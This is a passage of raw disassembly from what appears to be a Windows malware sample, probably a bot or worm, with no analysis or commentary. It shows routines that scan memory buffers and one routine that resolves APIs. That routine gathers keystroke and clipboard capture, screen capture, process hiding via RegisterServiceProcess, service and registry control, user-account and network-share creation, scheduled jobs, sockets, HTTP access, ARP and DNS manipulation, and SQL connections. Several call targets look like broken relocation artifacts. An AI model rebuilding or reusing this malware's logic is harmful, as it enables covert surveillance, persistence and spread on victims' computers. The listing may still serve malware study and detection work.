[ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27009EAh test eax, eax jz loc_409518 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_409518 test [ebp+var_2B], 1 jnz loc_409518 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_409518 loc_40946E: ; CODE XREF: sub_409392+112j push edi push offset dword_43E308 call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409496 lea eax, [edi+200h] push eax push offset dword_43EB08 call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_4094A6 loc_409496: ; CODE XREF: sub_409392+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_409518 jmp short loc_40946E ; --------------------------------------------------------------------------- loc_4094A6: ; CODE XREF: sub_409392+102j test edi, edi jz short loc_409518 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2690536h test eax, eax jz short loc_4094E1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 2690000h test eax, eax jz short loc_4094E1 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4094E1: ; CODE XREF: sub_409392+12Bj ; sub_409392+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_43F52C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_43F524, eax mov dword_43F528, edi loc_409518: ; CODE XREF: sub_409392+90j ; sub_409392+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 26F0000h mov esi, [ebp+var_10] loc_409529: ; CODE XREF: sub_409392+74j push [ebp+var_4] call near ptr 2621906h nop pop edi mov eax, esi pop ebx loc_409536: ; CODE XREF: sub_409392+24j pop esi leave retn sub_409392 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 2710513h test eax, eax mov [ebp+arg_0], eax jz loc_40962B mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 2710000h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_409622 mov edi, dword_4240EC loc_409584: ; CODE XREF: sub_409539+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27009EAh test eax, eax jz short loc_409610 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409616 test [ebp+var_13], 1 jnz short loc_409616 push ecx push 8 call edi push eax call near ptr 2700000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 2700C0Ch nop test eax, eax jz short loc_409602 push offset dword_43E308 push esi call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409602 lea eax, [esi+400h] push offset dword_43EB08 push eax call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_409632 loc_409602: ; CODE XREF: sub_409539+9Fj ; sub_409539+B0j push esi push 0 call edi push eax call near ptr 26F0000h nop jmp short loc_409616 ; --------------------------------------------------------------------------- loc_409610: ; CODE XREF: sub_409539+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409616: ; CODE XREF: sub_409539+71j ; sub_409539+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_409584 loc_409622: ; CODE XREF: sub_409539+3Fj push [ebp+arg_0] nop call near ptr 2621906h loc_40962B: ; CODE XREF: sub_409539+1Ej xor eax, eax loc_40962D: ; CODE XREF: sub_409539+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409632: ; CODE XREF: sub_409539+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_43F524, ebx mov dword_43F528, eax cmp [eax], cl jnz short loc_409654 cmp [eax+1], cl jz short loc_40965C loc_409654: ; CODE XREF: sub_409539+114j ; sub_409539+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_409654 loc_40965C: ; CODE XREF: sub_409539+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2621906h push 1 pop eax jmp short loc_40962D sub_409539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40966F proc near ; CODE XREF: sub_409037+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_43F520 push esi mov esi, dword_4240EC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call near ptr 2700000h nop mov ecx, dword_43F520 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_43F528 push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_43F52C push eax call dword_43F30C push [ebp+var_4] mov edi, offset dword_43F318 push offset dword_43E308 push offset dword_43EB08 push [ebp+arg_0] push offset unk_42CDC0 push 200h push edi call sub_41782A add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 26F0000h mov eax, edi pop edi pop esi leave retn sub_40966F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_43F520 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 2700996h push eax nop call near ptr 2700000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_43EB08 mov edi, 200h mov esi, offset dword_43E108 loc_40974C: ; CODE XREF: sub_409706+FAj mov eax, dword_43F520 add eax, eax push eax push dword_43F528 push [ebp+var_14] call sub_417390 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_43F30C mov eax, dword_43F520 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4097C1 loc_409789: ; CODE XREF: sub_409706+B3j cmp [ebp+var_8], 0 jz short loc_4097DE mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4097AD cmp byte ptr [ecx+1], 0 jnz short loc_4097AD cmp dl, 20h jnb short loc_4097A7 and [ebp+var_8], 0 loc_4097A7: ; CODE XREF: sub_409706+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4097B1 loc_4097AD: ; CODE XREF: sub_409706+90j ; sub_409706+96j and [ebp+var_8], 0 loc_4097B1: ; CODE XREF: sub_409706+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_409789 cmp [ebp+var_8], 0 jz short loc_4097DE loc_4097C1: ; CODE XREF: sub_409706+81j push [ebp+var_14] push offset dword_43E308 push ebx push [ebp+arg_0] push offset unk_42CDC0 push edi push esi call sub_41782A add esp, 1Ch jmp short loc_4097F6 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_409706+87j ; sub_409706+B9j push offset dword_43E308 push ebx push [ebp+arg_0] push offset unk_42CE2C push edi push esi call sub_41782A add esp, 18h loc_4097F6: ; CODE XREF: sub_409706+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_40974C push [ebp+var_14] push 0 nop call near ptr 2700996h push eax call near ptr 26F0000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_409706 endp ; =============== S U B R O U T I N E ======================================= sub_40981F proc near ; CODE XREF: ___:0040E6F1p push ebx push ebp mov ebp, dword_424100 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4240DC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40993F push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43F714, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_43F688, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_43F66C, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_43F588, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43F534, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43F564, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43F5D8, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43F6C8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43F724, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43F594, eax call esi cmp dword_43F714, ebx mov dword_43F57C, eax jz short loc_40991D cmp dword_43F688, ebx jz short loc_40991D cmp dword_43F66C, ebx jz short loc_40991D cmp dword_43F588, ebx jz short loc_40991D cmp dword_43F564, ebx jz short loc_40991D cmp dword_43F5D8, ebx jz short loc_40991D cmp dword_43F6C8, ebx jz short loc_40991D cmp dword_43F724, ebx jz short loc_40991D cmp dword_43F594, ebx jz short loc_40991D cmp eax, ebx jnz short loc_409927 loc_40991D: ; CODE XREF: sub_40981F+B8j ; sub_40981F+C0j ... mov dword_43F728, 1 loc_409927: ; CODE XREF: sub_40981F+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43F6A0, eax jz short loc_409954 push 1 push ebx call eax jmp short loc_409954 ; --------------------------------------------------------------------------- loc_40993F: ; CODE XREF: sub_40981F+1Dj nop call near ptr 264030Ch mov dword_43F72C, eax mov dword_43F728, 1 loc_409954: ; CODE XREF: sub_40981F+117j ; sub_40981F+11Ej push offset aUser32_dll ; "user32.dll" call near ptr 26E07FDh nop mov edi, eax cmp edi, ebx jz loc_409A69 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_43F6C4, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_43F674, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43F608, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43F718, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43F638, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43F658, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43F6BC, eax call esi cmp dword_43F6C4, ebx mov dword_43F5B0, eax jz short loc_409A0D cmp dword_43F674, ebx jz short loc_409A0D cmp dword_43F608, ebx jz short loc_409A0D cmp dword_43F718, ebx jz short loc_409A0D cmp dword_43F638, ebx jz short loc_409A0D cmp dword_43F658, ebx jz short loc_409A0D cmp dword_43F6BC, ebx jz short loc_409A0D cmp eax, ebx jnz short loc_409A17 loc_409A0D: ; CODE XREF: sub_40981F+1B8j ; sub_40981F+1C0j ... mov dword_43F730, 1 loc_409A17: ; CODE XREF: sub_40981F+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_43F634, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43F548, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43F604, eax call esi cmp dword_43F634, ebx mov dword_43F5F0, eax jz short loc_409A74 cmp dword_43F548, ebx jz short loc_409A74 cmp dword_43F604, ebx jz short loc_409A74 cmp eax, ebx jnz short loc_409A7E jmp short loc_409A74 ; --------------------------------------------------------------------------- loc_409A69: ; CODE XREF: sub_40981F+144j call near ptr 264030Ch nop mov dword_43F734, eax loc_409A74: ; CODE XREF: sub_40981F+232j ; sub_40981F+23Aj ... mov dword_43F730, 1 loc_409A7E: ; CODE XREF: sub_40981F+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409C19 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43F6D8, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43F61C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43F68C, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43F574, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43F5D4, eax call esi cmp dword_43F6D8, ebx mov dword_43F644, eax jz short loc_409B09 cmp dword_43F61C, ebx jz short loc_409B09 cmp dword_43F68C, ebx jz short loc_409B09 cmp dword_43F574, ebx jz short loc_409B09 cmp dword_43F5D4, ebx jz short loc_409B09 cmp eax, ebx jnz short loc_409B13 loc_409B09: ; CODE XREF: sub_40981F+2C4j ; sub_40981F+2CCj ... mov dword_43F738, 1 loc_409B13: ; CODE XREF: sub_40981F+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43F64C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43F624, eax call esi cmp dword_43F64C, ebx mov dword_43F6D4, eax jz short loc_409B4E cmp dword_43F624, ebx jz short loc_409B4E cmp eax, ebx jnz short loc_409B58 loc_409B4E: ; CODE XREF: sub_40981F+321j ; sub_40981F+329j mov dword_43F738, 1 loc_409B58: ; CODE XREF: sub_40981F+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43F65C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_43F550, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_43F558, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_43F5B8, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43F5BC, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43F56C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43F628, eax call esi cmp dword_43F65C, ebx mov dword_43F55C, eax jz short loc_409BFC cmp dword_43F550, ebx jz short loc_409BFC cmp dword_43F558, ebx jz short loc_409BFC cmp dword_43F5B8, ebx jz short loc_409BFC cmp dword_43F5BC, ebx jz short loc_409BFC cmp dword_43F56C, ebx jz short loc_409BFC cmp dword_43F628, ebx jz short loc_409BFC cmp eax, ebx jnz short loc_409C06 loc_409BFC: ; CODE XREF: sub_40981F+3A7j ; sub_40981F+3AFj ... mov dword_43F738, 1 loc_409C06: ; CODE XREF: sub_40981F+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_43F554, eax jnz short loc_409C2E jmp short loc_409C24 ; --------------------------------------------------------------------------- loc_409C19: ; CODE XREF: sub_40981F+26Aj nop call near ptr 264030Ch mov dword_43F73C, eax loc_409C24: ; CODE XREF: sub_40981F+3F8j mov dword_43F738, 1 loc_409C2E: ; CODE XREF: sub_40981F+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409CFA push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43F654, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43F6AC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43F6B4, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43F670, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_43F598, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43F544, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_43F6B0, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_43F530, eax call esi cmp dword_43F654, ebx mov dword_43F5CC, eax jz short loc_409D05 cmp dword_43F6AC, ebx jz short loc_409D05 cmp dword_43F6B4, ebx jz short loc_409D05 cmp dword_43F670, ebx jz short loc_409D05 cmp dword_43F598, ebx jz short loc_409D05 cmp dword_43F544, ebx jz short loc_409D05 cmp dword_43F6B0, ebx jz short loc_409D05 cmp dword_43F530, ebx jz short loc_409D05 cmp eax, ebx jnz short loc_409D0F jmp short loc_409D05 ; --------------------------------------------------------------------------- loc_409CFA: ; CODE XREF: sub_40981F+41Aj nop call near ptr 264030Ch mov dword_43F744, eax loc_409D05: ; CODE XREF: sub_40981F+49Bj ; sub_40981F+4A3j ... mov dword_43F740, 1 loc_409D0F: ; CODE XREF: sub_40981F+4D7j mov ebp, dword_4240E0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409FCB push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_43F5E0, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43F70C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43F584, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43F560, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43F614, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_43F5FC, eax call esi push offset aSocket ; "socket" push edi mov dword_43F5C8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43F6E8, eax call esi push offset aConnect ; "connect" push edi mov dword_43F704, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43F610, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_43F6F4, eax call esi push offset aHtons ; "htons" push edi mov dword_43F6A8, eax call esi push offset aHtonl ; "htonl" push edi mov dword_43F668, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_43F664, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_43F5A4, eax call esi push offset aSend ; "send" push edi mov dword_43F59C, eax call esi push offset aSendto ; "sendto" push edi mov dword_43F6B8, eax call esi push offset aRecv ; "recv" push edi mov dword_43F6CC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_43F680, eax call esi mov dword_43F640, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_43F694, eax call esi push offset aListen ; "listen" push edi mov dword_43F650, eax call esi push offset aAccept ; "accept" push edi mov dword_43F690, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_43F6FC, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_43F648, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_43F60C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_43F67C, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43F6EC, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_43F620, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_43F5C4, eax call esi cmp dword_43F5E0, ebx mov dword_43F700, eax jz loc_409FD6 cmp dword_43F70C, ebx jz loc_409FD6 cmp dword_43F584, ebx jz loc_409FD6 cmp dword_43F614, ebx jz loc_409FD6 cmp dword_43F5FC, ebx jz loc_409FD6 cmp dword_43F5C8, ebx jz loc_409FD6 cmp dword_43F6E8, ebx jz loc_409FD6 cmp dword_43F704, ebx jz loc_409FD6 cmp dword_43F610, ebx jz loc_409FD6 cmp dword_43F6F4, ebx jz loc_409FD6 cmp dword_43F6A8, ebx jz loc_409FD6 cmp dword_43F668, ebx jz loc_409FD6 cmp dword_43F664, ebx jz loc_409FD6 cmp dword_43F5A4, ebx jz short loc_409FD6 cmp dword_43F6B8, ebx jz short loc_409FD6 cmp dword_43F6CC, ebx jz short loc_409FD6 cmp dword_43F680, ebx jz short loc_409FD6 cmp dword_43F640, ebx jz short loc_409FD6 cmp dword_43F694, ebx jz short loc_409FD6 cmp dword_43F650, ebx jz short loc_409FD6 cmp dword_43F690, ebx jz short loc_409FD6 cmp dword_43F6FC, ebx jz short loc_409FD6 cmp dword_43F648, ebx jz short loc_409FD6 cmp dword_43F60C, ebx jz short loc_409FD6 cmp dword_43F67C, ebx jz short loc_409FD6 cmp dword_43F6EC, ebx jz short loc_409FD6 cmp dword_43F620, ebx jz short loc_409FD6 cmp eax, ebx jnz short loc_409FE0 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409FCB: ; CODE XREF: sub_40981F+501j nop call near ptr 264030Ch mov dword_43F74C, eax loc_409FD6: ; CODE XREF: sub_40981F+6A0j ; sub_40981F+6ACj ... mov dword_43F748, 1 loc_409FE0: ; CODE XREF: sub_40981F+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0E5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43F5AC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43F538, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43F630, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43F5E4, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_43F63C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43F600, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43F578, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43F570, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43F580, eax call esi cmp dword_43F5AC, ebx mov ecx, dword_43F600 mov dword_43F69C, eax jz short loc_40A0C1 cmp dword_43F538, ebx jz short loc_40A0C1 cmp dword_43F630, ebx jz short loc_40A0C1 cmp dword_43F5E4, ebx jz short loc_40A0C1 cmp dword_43F63C, ebx jz short loc_40A0C1 cmp ecx, ebx jz short loc_40A0C1 cmp dword_43F578, ebx jz short loc_40A0C1 cmp dword_43F570, ebx jz short loc_40A0C1 cmp dword_43F580, ebx jz short loc_40A0C1 cmp eax, ebx jnz short loc_40A0CB loc_40A0C1: ; CODE XREF: sub_40981F+860j ; sub_40981F+868j ... mov dword_43F750, 1 loc_40A0CB: ; CODE XREF: sub_40981F+8A0j cmp ecx, ebx jz short loc_40A100 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_43F618, eax jnz short loc_40A100 jmp short loc_40A0FA ; --------------------------------------------------------------------------- loc_40A0E5: ; CODE XREF: sub_40981F+7CCj nop call near ptr 264030Ch mov dword_43F754, eax mov dword_43F750, 1 loc_40A0FA: ; CODE XREF: sub_40981F+8C4j mov dword_43F618, ebx loc_40A100: ; CODE XREF: sub_40981F+8AEj ; sub_40981F+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A14A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43F5F4, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43F720, eax call esi cmp dword_43F5F4, ebx mov dword_43F58C, eax jz short loc_40A155 cmp dword_43F720, ebx jz short loc_40A155 cmp eax, ebx jnz short loc_40A15F jmp short loc_40A155 ; --------------------------------------------------------------------------- loc_40A14A: ; CODE XREF: sub_40981F+8ECj call near ptr 264030Ch nop mov dword_43F75C, eax loc_40A155: ; CODE XREF: sub_40981F+91Bj ; sub_40981F+923j ... mov dword_43F758, 1 loc_40A15F: ; CODE XREF: sub_40981F+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A255 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_43F568, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43F540, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43F5B4, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43F5E8, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43F6F8, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43F5A0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43F54C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43F53C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43F5D0, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43F6C0, eax call esi cmp dword_43F568, ebx mov dword_43F678, eax jz short loc_40A260 cmp dword_43F540, ebx jz short loc_40A260 cmp dword_43F5B4, ebx jz short loc_40A260 cmp dword_43F5E8, ebx jz short loc_40A260 cmp dword_43F6F8, ebx jz short loc_40A260 cmp dword_43F5A0, ebx jz short loc_40A260 cmp dword_43F54C, ebx jz short loc_40A260 cmp dword_43F53C, ebx jz short loc_40A260 cmp dword_43F5D0, ebx jz short loc_40A260 cmp dword_43F6C0, ebx jz short loc_40A260 cmp eax, ebx jnz short loc_40A26A jmp short loc_40A260 ; --------------------------------------------------------------------------- loc_40A255: ; CODE XREF: sub_40981F+94Bj nop call near ptr 264030Ch mov dword_43F764, eax loc_40A260: ; CODE XREF: sub_40981F+9E6j ; sub_40981F+9EEj ... mov dword_43F760, 1 loc_40A26A: ; CODE XREF: sub_40981F+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A29F push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43F590, eax call esi cmp dword_43F590, ebx mov dword_43F660, eax jz short loc_40A2AA cmp eax, ebx jnz short loc_40A2B4 jmp short loc_40A2AA ; --------------------------------------------------------------------------- loc_40A29F: ; CODE XREF: sub_40981F+A56j nop call near ptr 264030Ch mov dword_43F76C, eax loc_40A2AA: ; CODE XREF: sub_40981F+A78j ; sub_40981F+A7Ej mov dword_43F768, 1 loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A2E9 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43F6E4, eax call esi cmp dword_43F6E4, ebx mov dword_43F6E0, eax jz short loc_40A2F4 cmp eax, ebx jnz short loc_40A2FE jmp short loc_40A2F4 ; --------------------------------------------------------------------------- loc_40A2E9: ; CODE XREF: sub_40981F+AA0j nop call near ptr 264030Ch mov dword_43F774, eax loc_40A2F4: ; CODE XREF: sub_40981F+AC2j ; sub_40981F+AC8j mov dword_43F770, 1 loc_40A2FE: ; CODE XREF: sub_40981F+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A35D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43F710, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43F708, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43F6D0, eax call esi cmp dword_43F710, ebx mov dword_43F5A8, eax jz short loc_40A368 cmp dword_43F708, ebx jz short loc_40A368 cmp dword_43F6D0, ebx jz short loc_40A368 cmp eax, ebx jnz short loc_40A372 jmp short loc_40A368 ; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: sub_40981F+AEAj call near ptr 264030Ch nop mov dword_43F77C, eax loc_40A368: ; CODE XREF: sub_40981F+B26j ; sub_40981F+B2Ej ... mov dword_43F778, 1 loc_40A372: ; CODE XREF: sub_40981F+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3A7 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43F5DC, eax call esi cmp dword_43F5DC, ebx mov dword_43F6DC, eax jz short loc_40A3B2 cmp eax, ebx jnz short loc_40A3BC jmp short loc_40A3B2 ; --------------------------------------------------------------------------- loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej nop call near ptr 264030Ch mov dword_43F784, eax loc_40A3B2: ; CODE XREF: sub_40981F+B80j ; sub_40981F+B86j mov dword_43F780, 1 loc_40A3BC: ; CODE XREF: sub_40981F+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A445 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43F6A4, eax call esi push offset aSqlexecdirect 